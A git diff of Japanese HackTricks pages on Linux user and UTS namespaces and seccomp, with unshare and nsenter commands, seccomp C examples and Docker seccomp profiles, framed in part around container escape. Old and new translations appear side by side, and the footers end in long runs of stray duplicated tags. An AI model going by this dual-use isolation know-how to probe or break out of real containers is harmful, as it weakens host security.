- 新しい名前空間内の PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**:
- `unshare`に`-f`オプションを使用することで問題を解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間でPID 1になります。その後、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
3. **解決策**
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare`が`-f`フラグで実行されることを確認することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作るようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -63,18 +70,20 @@ sudo unshare -U [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;自分のプロセスがどの名前空間にあるかを確認する
ユーザー名前空間を使用するには、Dockerデーモンを**`--userns-remap=default`**で起動する必要がありますUbuntu 14.04では、`/etc/default/docker`を修正し、その後`sudo service docker restart`を実行することで行えます)
### &#x20;プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
Dockerコンテナからユーザーマップを確認することができます
dockerコンテナからユーザーマップを確認することができます:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
または、ホストから次のようにします
ホストからは
```bash
cat /proc/<pid>/uid_map
```
@ -86,13 +95,13 @@ sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### ユーザー名前空間に入る
{% endcode %}
### ユーザー名前空間に入る
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
また、**rootユーザーでないと**、**他のプロセスの名前空間に入ることはできません**。そして、他の名前空間に入るには(`/proc/self/ns/user`のような)**それを指すディスクリプタ**が必要です
また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/user`)、他の名前空間に**入ることはできません**
### 新しいユーザー名前空間を作成する(マッピング付き)
@ -110,14 +119,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### 権限の回復
### Recovering Capabilities
ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間内で入るプロセスには完全なセットの権限が付与されます**。これらの権限により、プロセスは特権操作(ファイルシステムのマウント、デバイスの作成、ファイルの所有権の変更など)を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**です。
ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスには完全な権限のセットが付与されます**。これらの権限により、プロセスは**ファイルシステムのマウント**、デバイスの作成、ファイルの所有権の変更などの特権操作を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**実行きます。
たとえば、ユーザー名前空間内で`CAP_SYS_ADMIN`権限を持っている場合、通常この権限が必要な操作(ファイルシステムのマウントなど)を実行できますが、ユーザー名前空間のコンテキスト内でのみです。この権限を使用して行う操作は、ホストシステムや他の名前空間には影響しません。
例えば、ユーザー名前空間内で`CAP_SYS_ADMIN`権限を持っている場合、ファイルシステムのマウントなど、この権限を通常必要とする操作を実行できますが、あなたのユーザー名前空間のコンテキスト内でのみです。この権限を使用して実行する操作は、ホストシステムや他の名前空間には影響しません。
{% hint style="warning" %}
したがって、新しいプロセスを新しいユーザー名前空間内に取得しても、**すべての権限が戻ってくる**CapEff: 000001ffffffffffが、実際には**名前空間に関連する権限のみ**たとえばマウントを使用できます。したがって、これだけではDockerコンテナから脱出するのには十分ではありません
したがって、新しいユーザー名前空間内に新しいプロセスを取得することが**すべての権限を取り戻すことになります**CapEff: 000001ffffffffffとしても、実際には**名前空間に関連するもののみを使用できます**例えばマウントが、すべての権限を使用できるわけではありません。したがって、これだけではDockerコンテナから脱出するには不十分です
{% endhint %}
```bash
# There are the syscalls that are filtered after changing User namespace with:
@ -141,21 +150,29 @@ Probando: 0x130 . . . Error
Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
Probando: 0x143 . . . Error
```
## 参考文献
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,58 +1,73 @@
# UTS Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## 基本情報
UTSUNIX Time-Sharing System名前空間は、Linuxカーネルの機能であり、**ホスト名**と**NIS**Network Information Serviceドメイン名の**2つのシステム識別子を分離**する機能を提供します。この分離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで役立ちます。
UTSUNIX Time-Sharing System名前空間は、**ホスト名**と**NIS**Network Information Serviceドメイン名の**2つのシステム識別子の隔離**を提供するLinuxカーネルの機能です。この隔離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで便利です。
### 動作方法:
### 仕組み
1. 新しいUTS名前空間が作成されると、**親名前空間からホスト名とNISドメイン名のコピー**で開始されます。つまり、作成時に新しい名前空間は**親と同じ識別子を共有**します。ただし、名前空間内でホスト名またはNISドメイン名を変更しても、他の名前空間には影響しません。
2. UTS名前空間内のプロセスは、それぞれ`sethostname()`および`setdomainname()`システムコールを使用して、**ホスト名とNISドメイン名を変更**できます。これらの変更は名前空間内でのみ有効であり、他の名前空間やホストシステムには影響しません。
3. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUTS`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたホスト名とNISドメイン名が使用されます。
1. 新しいUTS名前空間が作成されると、**親名前空間からホスト名とNISドメイン名のコピー**で始まります。これは、作成時に新しい名前空間が**親と同じ識別子を共有する**ことを意味します。ただし、名前空間内でのホスト名やNISドメイン名へのその後の変更は、他の名前空間には影響しません。
2. UTS名前空間内のプロセスは、`sethostname()`および`setdomainname()`システムコールを使用して、それぞれホスト名とNISドメイン名を**変更することができます**。これらの変更は名前空間にローカルであり、他の名前空間やホストシステムには影響しません。
3. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUTS`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたホスト名とNISドメイン名を使用し始めます。
## Lab:
## ラボ:
### 異なる名前空間を作成
### 異なる名前空間を作成する
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
マウントパラメータ`--mount-proc`を使用して新しい`/proc`ファイルシステムのインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報に正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
`unshare`が`-f`オプションなしで実行されると、Linuxが新しいPIDプロセスID名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に示されています:
`unshare` `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
- Linuxカーネルは、`unshare`システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しいPID名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは、新しい名前空間に入りません。その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`/bin/bash`が`unshare`と同じプロセスで開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間にあります。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つPID 1により、その名前空間のクリーンアップがトリガーされます。その後、Linuxカーネルはその名前空間でのPID割り当てを無効にします。
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス「unshare」プロセスと呼ばれるは新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、PID 1 が孤児プロセスを引き取る特別な役割を持っているため、ネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペースでの PID 割り当てを無効にします。
2. **結果**:
- 新しい名前空間内のPID 1の終了により、`PIDNS_HASH_ADDING`フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てられなくなり、「Cannot allocate memory」エラーが発生します。
- 新しいネームスペース内の PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**:
- `unshare`に`-f`オプションを使用することで問題を解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間でPID 1になります。その後、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare`が`-f`フラグで実行されることを確認することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作するようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -60,12 +75,12 @@ sudo unshare -u [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;あなたのプロセスがどの名前空間にあるかを確認しま
### &#x20;プロセスがどの名前空間にあるかを確認す
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### すべてのUTSネームスペースを見つける
### UTS ネームスペースをすべて見つける
{% code overflow="wrap" %}
```bash
@ -73,32 +88,51 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### UTSネームスペース内に入る
{% endcode %}
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
また、**rootユーザーでないと**、**他のプロセスの名前空間に入ることはできません**。そして、他の名前空間に入るには、それを指す**記述子がないと**(たとえば `/proc/self/ns/uts` のようなものがないと)**入ることはできません**。
### ホスト名の変更
### UTS名前空間に入る
```bash
unshare -u /bin/bash
hostname newhostname # Hostname won't be changed inside the host UTS ns
```
## 参考文献
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,30 +1,39 @@
# Seccomp
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## 基本情報
**Seccomp** は、Secure Computing mode の略で、**Linuxカーネルのセキュリティ機能**であり、システムコールをフィルタリングするように設計されています。プロセスをシステムコールの限られたセット(`exit()`、`sigreturn()`、`read()`、および既に開かれたファイルディスクリプタ用の`write()`)に制限します。プロセスが他の何かを呼び出そうとすると、カーネルによって SIGKILL または SIGSYS を使用して終了させられます。このメカニズムはリソースを仮想化するのではなく、プロセスをそれらから分離します。
**Seccomp**(セキュアコンピューティングモードの略)は、**Linuxカーネルのシステムコールをフィルタリングするためのセキュリティ機能**です。これは、プロセスを限られたシステムコール(すでにオープンしているファイルディスクリプタに対する`exit()`、`sigreturn()`、`read()`、および`write()`に制限します。プロセスが他のシステムコールを呼び出そうとすると、カーネルによってSIGKILLまたはSIGSYSで終了されます。このメカニズムはリソースを仮想化するのではなく、プロセスをそれらから離します。
Seccomp をアクティブ化する方法には、`prctl(2)` システムコールを使用して `PR_SET_SECCOMP` を介して行う方法と、Linuxカーネル3.17以降では `seccomp(2)` システムコールを使用する方法があります。`/proc/self/seccomp` に書き込むことで Seccomp を有効にする古い方法は、`prctl()` に代わって非推奨となっています。
seccompを有効にする方法は2つあります`PR_SET_SECCOMP`を使用した`prctl(2)`システムコール、またはLinuxカーネル3.17以降の場合は`seccomp(2)`システムコールです。`/proc/self/seccomp`に書き込む古い方法は、`prctl()`に取って代わられました
拡張機能である **seccomp-bpf** は、Berkeley Packet FilterBPFルールを使用してカスタマイズ可能なポリシーでシステムコールをフィルタリングする機能を追加します。この拡張機能は、OpenSSH、vsftpd、Chrome OS および Linux 上の Chrome/Chromium ブラウザなどのソフトウェアによって活用され、柔軟で効率的なシスコールフィルタリングを提供し、Linux でサポートされなくなった systrace に代わるものとなっています。
拡張機能である**seccomp-bpf**は、Berkeley Packet FilterBPFルールを使用してカスタマイズ可能なポリシーでシステムコールをフィルタリングする機能を追加します。この拡張は、OpenSSH、vsftpd、Chrome OSおよびLinux上のChrome/Chromiumブラウザなどのソフトウェアによって利用され、柔軟で効率的なシステムコールフィルタリングを提供し、現在サポートされていないLinux用のsystraceの代替手段を提供します。
### **オリジナル/厳格モード**
このモードでは、Seccomp は既に開かれたファイルディスクリプタに対して `exit()`、`sigreturn()`、`read()`、`write()` のシスコールのみを許可します。他のシスコールが行われた場合、プロセスは SIGKILL を使用して終了されます。
このモードでは、Seccompは**`exit()`、`sigreturn()`、`read()`、および`write()`**のシステムコールのみをすでにオープンしているファイルディスクリプタに対して許可します。他のシステムコールが行われると、プロセスはSIGKILLで終了されます。
{% code title="seccomp_strict.c" %}
```c
@ -58,9 +67,13 @@ int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
}
```
{% endcode %}
### Seccomp-bpf
このモードは、Berkeley Packet Filter ルールを使用して実装された設定可能なポリシーを使用してシステムコールをフィルタリングすることを可能にします。
このモードは、**バークレー・パケット・フィルタールールを使用して実装された構成可能なポリシーを使用してシステムコールをフィルタリングすることを許可します**。
{% code title="seccomp_bpf.c" %}
```c
#include <seccomp.h>
#include <unistd.h>
@ -108,31 +121,33 @@ seccomp_release(ctx);
printf("this process is %d\n", getpid());
}
```
{% endcode %}
## DockerにおけるSeccomp
**Seccomp-bpf**は、**Docker**によってサポートされており、コンテナからの**syscalls**を制限することで効果的に表面積を減らすことができます。**デフォルトでブロックされているsyscalls**は[https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)で見つけることができ、**デフォルトのseccompプロファイル**はこちらにあります[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\
異なるseccompポリシーを使用してdockerコンテナを実行することができます:
**Seccomp-bpf**は、**Docker**によってサポートされており、コンテナからの**syscalls**を制限することで、攻撃面を効果的に減少させます。**デフォルト**でブロックされている**syscalls**は[https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)で確認でき、**デフォルトのseccompプロファイル**はここで見つけることができます[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\
**異なるseccomp**ポリシーでdockerコンテナを実行するには、次のようにします:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
たとえば、`uname`のような**syscall**の実行を**禁止**したい場合は、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) からデフォルトプロファイルをダウンロードし、単純に**リストから`uname`の文字列を削除**すればよいです。\
**あるバイナリがdockerコンテナ内で動作しないように**するには、straceを使用してバイナリが使用している**syscall**をリストアップし、それらを禁止することができます。\
次の例では、`uname`の**syscalls**が発見されます:
もし、例えばコンテナが `uname` のような **syscall** を実行することを **禁止** したい場合は、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) からデフォルトプロファイルをダウンロードし、リストから **`uname` 文字列を削除** するだけです。\
もし **あるバイナリが docker コンテナ内で動作しないことを確認** したい場合は、strace を使用してバイナリが使用している syscalls をリストし、それらを禁止することができます。\
次の例では、`uname` **syscalls** が発見されます:
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
{% hint style="info" %}
**Dockerを単にアプリケーションを起動するために使用している場合**、**`strace`**でそれを**プロファイリング**し、必要な**システムコールのみを許可**できます。
アプリケーションを起動するためだけに**Docker**を使用している場合は、**`strace`**で**プロファイル**を作成し、必要なシステムコールのみを**許可**できます
{% endhint %}
### Seccompポリシーの例
[こちらの例](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)からの例を示します。
[こちらからの例](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
Seccomp機能を説明するために、以下のように「chmod」システムコールを無効にするSeccompプロファイルを作成しま
Seccomp機能を示すために、以下のように「chmod」システムコールを無効にするSeccompプロファイルを作成しましょう
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
@ -144,20 +159,45 @@ Seccomp機能を説明するために、以下のように「chmod」システ
]
}
```
上記のプロファイルでは、デフォルトアクションを「allow」に設定し、「chmod」を無効にするブラックリストを作成しました。より安全にするために、デフォルトアクションを「drop」に設定し、システムコールを選択的に有効にするホワイトリストを作成することができます。\
以下の出力は、seccompプロファイルで無効になっているため、「chmod」呼び出しがエラーを返すことを示しています。
上記のプロファイルでは、デフォルトアクションを「allow」に設定し、「chmod」を無効にするブラックリストを作成しました。より安全にするために、デフォルトアクションをドロップに設定し、システムコールを選択的に有効にするホワイトリストを作成できます。\
以下の出力は、「chmod」コールがseccompプロファイルで無効になっているため、エラーを返すことを示しています。
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
以下は、プロファイルを表示する「docker inspect」の出力を示しています:
以下の出力は、プロファイルを表示する「docker inspect」を示しています
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
],
```
### Dockerで無効にする
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
